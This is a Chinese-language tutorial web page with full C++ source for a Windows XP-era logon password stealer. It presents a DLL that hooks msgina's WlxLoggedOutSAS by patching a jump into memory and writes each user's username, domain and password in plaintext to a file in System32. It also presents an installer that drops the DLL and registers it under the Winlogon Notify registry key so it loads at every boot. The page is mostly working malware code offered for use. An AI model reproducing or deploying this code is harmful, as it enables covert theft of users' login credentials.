歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Linux編程 >> Linux編程 >> 獲得系統密碼(對Windows 7無效)

獲得系統密碼(對Windows 7無效)

日期:2017/3/1 10:06:18   编辑:Linux編程

實現步驟:

1. 生成GetInfo.dll

2. 將生成的GetInfo.dll作為資源放到GetPwd工程中

3. 生成GetInfo.exe

4. 運行GetInfo.exe install

5. 重啟機器,輸入密碼,進入系統後會得到C:\WINDOWS\System32\getPwdout.txt文件,文件內容為:

實現原理:

將GetInfo.dll,放在WinLogon\Notify注冊表下時,系統啟動後會自動加載GetInfo.dll,而GetInfo.dll在加載時會HOOK掉WlxLoggedOutSAS,系統登錄時winlogon會加載WlxLoggedOutSAS函數,這個函數輸出值中有

PWLX_MPR_NOTIFY_INFO

結構,其中就存儲了用戶名和密碼。winlogon在登錄時會調用這個函數,我們HOOK掉了這個函數,所以就能拿到登錄的用戶名和密碼了。。

GetInfo.dll的實現

  1. // GetInfo.cpp : Defines the entry point for the DLL application.
  2. //
  3. #include "stdafx.h"
  4. #include "GetInfo.h"
  5. #include <stdio.h>
  6. #include <fstream.h>
  7. #include <iostream.h>
  8. //using namespace std;
  9. //宏定義
  10. #define WLX_SAS_ACTION_LOGON (1)
  11. //WLX_MPR_NOTIFY_INFO結構
  12. typedef struct _WLX_MPR_NOTIFY_INFO {
  13. PWSTR pszUserName;
  14. PWSTR pszDomain;
  15. PWSTR pszPassword;
  16. PWSTR pszOldPassword;
  17. } WLX_MPR_NOTIFY_INFO, *PWLX_MPR_NOTIFY_INFO;
  18. //函數原形
  19. typedef int (WINAPI* WlxLoggedOutSAS)(
  20. PVOID pWlxContext,
  21. DWORD dwSasType,
  22. PLUID pAuthenticationId,
  23. PSID pLogonSid,
  24. PDWORD pdwOptions,
  25. PHANDLE phToken,
  26. PWLX_MPR_NOTIFY_INFO pNprNotifyInfo,
  27. PVOID *pProfile
  28. );
  29. //自定義接管的API函數,形參保持一致
  30. int WINAPI FunNewADDR(
  31. PVOID pWlxContext,
  32. DWORD dwSasType,
  33. PLUID pAuthenticationId,
  34. PSID pLogonSid,
  35. PDWORD pdwOptions,
  36. PHANDLE phToken,
  37. PWLX_MPR_NOTIFY_INFO pNprNotifyInfo,
  38. PVOID *pProfile
  39. );
  40. //定義字節對齊方式
  41. #pragma pack(1)
  42. struct HookTable{
  43. HMODULE hMsgina;
  44. WlxLoggedOutSAS OldADDR;
  45. WlxLoggedOutSAS NewADDR;
  46. unsigned char charOldCode[6];
  47. unsigned char charJmpCode[6];
  48. };
  49. //全局hook表
  50. HookTable hooktable = {
  51. 0,
  52. 0,
  53. &FunNewADDR,
  54. "\x8b\xff\x55\x8B\xEC",
  55. "\xE9\x00\x00\x00\x00"
  56. };
  57. #pragma pack()
  58. //////////////////////////////////////////////////////////////////////////
  59. /////函數聲明
  60. ///////////////////////////////////////////////////////////////////////////
  61. VOID UnHookWlxLoggedOutSAS();
  62. VOID WriteLog(PWLX_MPR_NOTIFY_INFO pNprNotifyInfo);
  63. DWORD WINAPI StartHook(LPVOID lpParam);
  64. VOID HookWlxLoggedOutSAS();
  65. int WINAPI FunNewADDR(
  66. PVOID pWlxContext,
  67. DWORD dwSasType,
  68. PLUID pAuthenticationId,
  69. PSID pLogonSid,
  70. PDWORD pdwOptions,
  71. PHANDLE phToken,
  72. PWLX_MPR_NOTIFY_INFO pNprNotifyInfo,
  73. PVOID *pProfile
  74. )
  75. /************************************************************************/
  76. /* 函數說明:自定義函數,用來取代WlxLoggedOutSAS */
  77. /* 參數:與WlxLoggedOutSAS參數相同 */
  78. /* 返回值:與WlxLoggedOutSAS返回值相同 */
  79. /************************************************************************/
  80. {
  81. UnHookWlxLoggedOutSAS();
  82. int i = hooktable.OldADDR(pWlxContext, dwSasType, pAuthenticationId, pLogonSid, pdwOptions, phToken, pNprNotifyInfo,pProfile);
  83. if (i == WLX_SAS_ACTION_LOGON)
  84. {
  85. WriteLog(pNprNotifyInfo);
  86. }
  87. return i;
  88. }
  89. VOID WriteLog(PWLX_MPR_NOTIFY_INFO pNprNotifyInfo)
  90. /************************************************************************/
  91. /* 函數說明:將得到的用戶名和密碼信息寫入%system%/getPwdout.txt文件中 */
  92. /* 參數:pNprNotifyInfo 包含用戶名和密碼的結構體 */
  93. /* 返回值:無 */
  94. /************************************************************************/
  95. {
  96. char szSystemDir[MAX_PATH] = {0};
  97. GetSystemDirectory(szSystemDir, MAX_PATH - 1 );
  98. char szFilePath[MAX_PATH] = {0};
  99. strcat(szFilePath, szSystemDir);
  100. strcat(szFilePath, "\\getPwdout.txt");
  101. ofstream outfile;
  102. outfile.open(szFilePath);
  103. char szContent[1024 * 4] = {0};
  104. sprintf(szContent, "username:%ws\nDomain:%ws\npassword:%ws\nOldPassword:%ws\n\n", pNprNotifyInfo->pszUserName, pNprNotifyInfo->pszDomain, pNprNotifyInfo->pszPassword, pNprNotifyInfo->pszOldPassword);
  105. outfile.write(szContent, strlen(szContent));
  106. outfile.close();
  107. }
  108. VOID HookWlxLoggedOutSAS()
  109. /************************************************************************/
  110. /* 函數說明:HOOK WlxLoggedOutSAS函數 */
  111. /* 參數:無 */
  112. /* 返回值:無 */
  113. /************************************************************************/
  114. {
  115. DWORD OldProcte;
  116. VirtualProtect(hooktable.OldADDR, 5, PAGE_EXECUTE_READWRITE, &OldProcte);
  117. unsigned char *p = (unsigned char*)hooktable.OldADDR;
  118. for (int i=0; i < 5; i++)
  119. {
  120. p[i] = hooktable.charJmpCode[i];
  121. }
  122. VirtualProtect(hooktable.OldADDR, 5, OldProcte, &OldProcte);
  123. return;
  124. }
  125. VOID UnHookWlxLoggedOutSAS()
  126. /************************************************************************/
  127. /* 函數說明:恢復WlxLoggedOutSAS函數的原形 */
  128. /* 參數:無 */
  129. /* 返回值:無 */
  130. /************************************************************************/
  131. {
  132. DWORD OldProcte;
  133. VirtualProtect(hooktable.OldADDR, 5, PAGE_EXECUTE_READWRITE, &OldProcte);
  134. unsigned char *p = (unsigned char*)hooktable.OldADDR;
  135. for (int i=0; i < 5; i++)
  136. {
  137. p[i] = hooktable.charOldCode[i];
  138. }
  139. VirtualProtect(hooktable.OldADDR, 5, OldProcte, &OldProcte);
  140. return;
  141. }
  142. DWORD WINAPI StartHook(LPVOID lpParam)
  143. /************************************************************************/
  144. /* 函數說明:得到WlxLoggedOutSAS函數地址,並HOOK WlxLoggedOutSAS函數 */
  145. /* 參數:無 */
  146. /* 返回值:0表示成功 */
  147. /************************************************************************/
  148. {
  149. //得到msgina.dll
  150. //hooktable.hMsgina
  151. int n = 0;
  152. hooktable.hMsgina = LoadLibrary("msgina.dll");
  153. n = GetLastError();
  154. if (NULL == hooktable.hMsgina)
  155. {
  156. printf("getmoduleHandle msgina.dll error");
  157. return -1;
  158. }
  159. //得到WlxLoggedOutSAS
  160. hooktable.OldADDR = (WlxLoggedOutSAS)GetProcAddress(hooktable.hMsgina, "WlxLoggedOutSAS");
  161. if (NULL == hooktable.OldADDR)
  162. {
  163. printf("GetProcAddress WlxLoggedOutSAS error");
  164. return -1;
  165. }
  166. int *OpCode = (int*)&hooktable.charJmpCode[1];
  167. int Code = (int)hooktable.NewADDR - (int)hooktable.OldADDR -5;
  168. *OpCode = Code;
  169. HookWlxLoggedOutSAS();
  170. return 0;
  171. }
  172. BOOL APIENTRY DllMain( HANDLE hModule,
  173. DWORD ul_reason_for_call,
  174. LPVOID lpReserved
  175. )
  176. /************************************************************************/
  177. /* 函數說明:DLL的主函數 */
  178. /* 參數: */
  179. /* 返回值: */
  180. /************************************************************************/
  181. {
  182. switch (ul_reason_for_call)
  183. {
  184. case DLL_PROCESS_ATTACH:
  185. {
  186. //::CreateThread(NULL, 0, StartHook, NULL, 0, NULL);
  187. StartHook(NULL);
  188. }
  189. break;
  190. case DLL_THREAD_ATTACH:
  191. case DLL_THREAD_DETACH:
  192. case DLL_PROCESS_DETACH:
  193. break;
  194. }
  195. return TRUE;
  196. }
  197. // This is the constructor of a class that has been exported.
  198. // see GetInfo.h for the class definition
  199. CGetInfo::CGetInfo()
  200. {
  201. return;
  202. }
  203. extern "C" __declspec(dllexport) void start()
  204. {
  205. return;
  206. }

外殼工程:

  1. // getpwd.cpp : Defines the entry point for the console application.
  2. //
  3. #include "afx.h"
  4. #include <Windows.h>
  5. #include "resource.h"
  6. #include <Winerror.h>
  7. #include <Shlwapi.h>
  8. #pragma comment(lib, "Shlwapi.lib")
  9. LPBYTE CString_To_LPBYTE(CString str)
  10. /************************************************************************/
  11. /* 函數說明:將cstring類型轉換成LPBYTE類型 */
  12. /* 參數:str 要轉換的CString類型 */
  13. /* 返回值:LPBYTE 轉換後的LPBYTE類型 */
  14. /************************************************************************/
  15. {
  16. LPBYTE lpb=new BYTE[str.GetLength()+1];
  17. for(int i=0;i<str.GetLength();i++)
  18. lpb[i]=str[i];
  19. lpb[str.GetLength()]=0;
  20. return lpb;
  21. }
  22. BOOL install()
  23. /************************************************************************/
  24. /* 函數說明:釋放DLL,並將DLL的路徑寫入到注冊表中 */
  25. /* 參數:無 */
  26. /* 返回值:無 */
  27. /************************************************************************/
  28. {
  29. //釋放資源
  30. //定位我們的自定義資源,這裡因為我們是從本模塊定位資源,所以將句柄簡單地置為NULL即可
  31. HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_IDR_DLL1), TEXT("IDR_DLL"));
  32. if (NULL == hRsrc)
  33. return FALSE;
  34. //獲取資源的大小
  35. DWORD dwSize = SizeofResource(NULL, hRsrc);
  36. if (0 == dwSize)
  37. return FALSE;
  38. //加載資源
  39. HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
  40. if (NULL == hGlobal)
  41. return FALSE;
  42. //鎖定資源
  43. LPVOID pBuffer = LockResource(hGlobal);
  44. if (NULL == pBuffer)
  45. return FALSE;
  46. char szSystemDir[MAX_PATH] = {0};
  47. GetSystemDirectory(szSystemDir, MAX_PATH-1);
  48. char szRelDll[MAX_PATH] = {0};
  49. strcat(szRelDll, szSystemDir);
  50. strcat(szRelDll, "\\GetInfo.dll");
  51. DeleteFile(szRelDll);
  52. HANDLE hFile = CreateFile(szRelDll, FILE_GENERIC_READ|FILE_GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  53. if (NULL == hFile)
  54. {
  55. return FALSE;
  56. }
  57. DWORD dwWritten;
  58. WriteFile(hFile, pBuffer, dwSize, &dwWritten, NULL);
  59. CloseHandle(hFile);
  60. FreeResource(hGlobal);
  61. //將釋放的DLL寫入到注冊 表的WINLOGON下,當WINLOGON啟動時,會加載這個DLL
  62. CString strDllPath = szRelDll; //("dog");
  63. //設置有關的數據
  64. //CString_To_LPBYTE,請參考下面的函數
  65. LPBYTE dllpath_Set=CString_To_LPBYTE(strDllPath);//定義用戶姓名 owner_Set
  66. DWORD type_1=REG_SZ;//定義數據類型
  67. DWORD cbData_1=strDllPath.GetLength()+1;//定義數據長度
  68. DWORD status = SHSetValue(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\GetPwd\\", "dllname", type_1, dllpath_Set, cbData_1);
  69. if (ERROR_SUCCESS != status)
  70. {
  71. printf("write reg:dllname error");
  72. return FALSE;
  73. }
  74. CString strStartUp("dog");
  75. LPBYTE startup_set=CString_To_LPBYTE(strStartUp);//定義公司名稱 company_Set
  76. DWORD type_2=REG_SZ;//定義數據類型
  77. DWORD cbData_2=strStartUp.GetLength()+1;//定義數據長度
  78. status = SHSetValue(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\GetPwd\\", "startup", type_2, startup_set, cbData_2);
  79. if (ERROR_SUCCESS != status)
  80. {
  81. printf("write reg:dllname error");
  82. return FALSE;
  83. }
  84. return TRUE;
  85. }
  86. BOOL decry()
  87. /************************************************************************/
  88. /* 函數說明:用於解密生成的密碼文件,生成密碼文件時沒有加密,所以這裡沒實現*/
  89. /* 參數:無 */
  90. /* 返回值:無 */
  91. /************************************************************************/
  92. {
  93. return TRUE;
  94. }
  95. VOID usage()
  96. /************************************************************************/
  97. /* 函數說明:打印使用幫助 */
  98. /* 參數:無 */
  99. /* 返回值:無 */
  100. /************************************************************************/
  101. {
  102. printf("************************************\n");
  103. printf("usages:\n");
  104. printf("getpwd.exe install\n");
  105. printf("getpwd.exe decryp\n");
  106. printf("************************************\n");
  107. }
  108. int main(int argc, char* argv[])
  109. /************************************************************************/
  110. /* 函數說明:Main函數 */
  111. /* 參數:無 */
  112. /* 返回值:無 */
  113. /************************************************************************/
  114. {
  115. if (argc != 2)
  116. {
  117. usage();
  118. return -1;
  119. }
  120. if (stricmp(argv[1], "install") == 0)
  121. {
  122. install();
  123. getchar();
  124. return 0;
  125. }
  126. else if (stricmp(argv[1], "decryp") == 0)
  127. {
  128. decry();
  129. return 0;
  130. }
  131. else
  132. {
  133. usage();
  134. return 0;
  135. }
  136. return 0;
  137. }
Copyright © Linux教程網 All Rights Reserved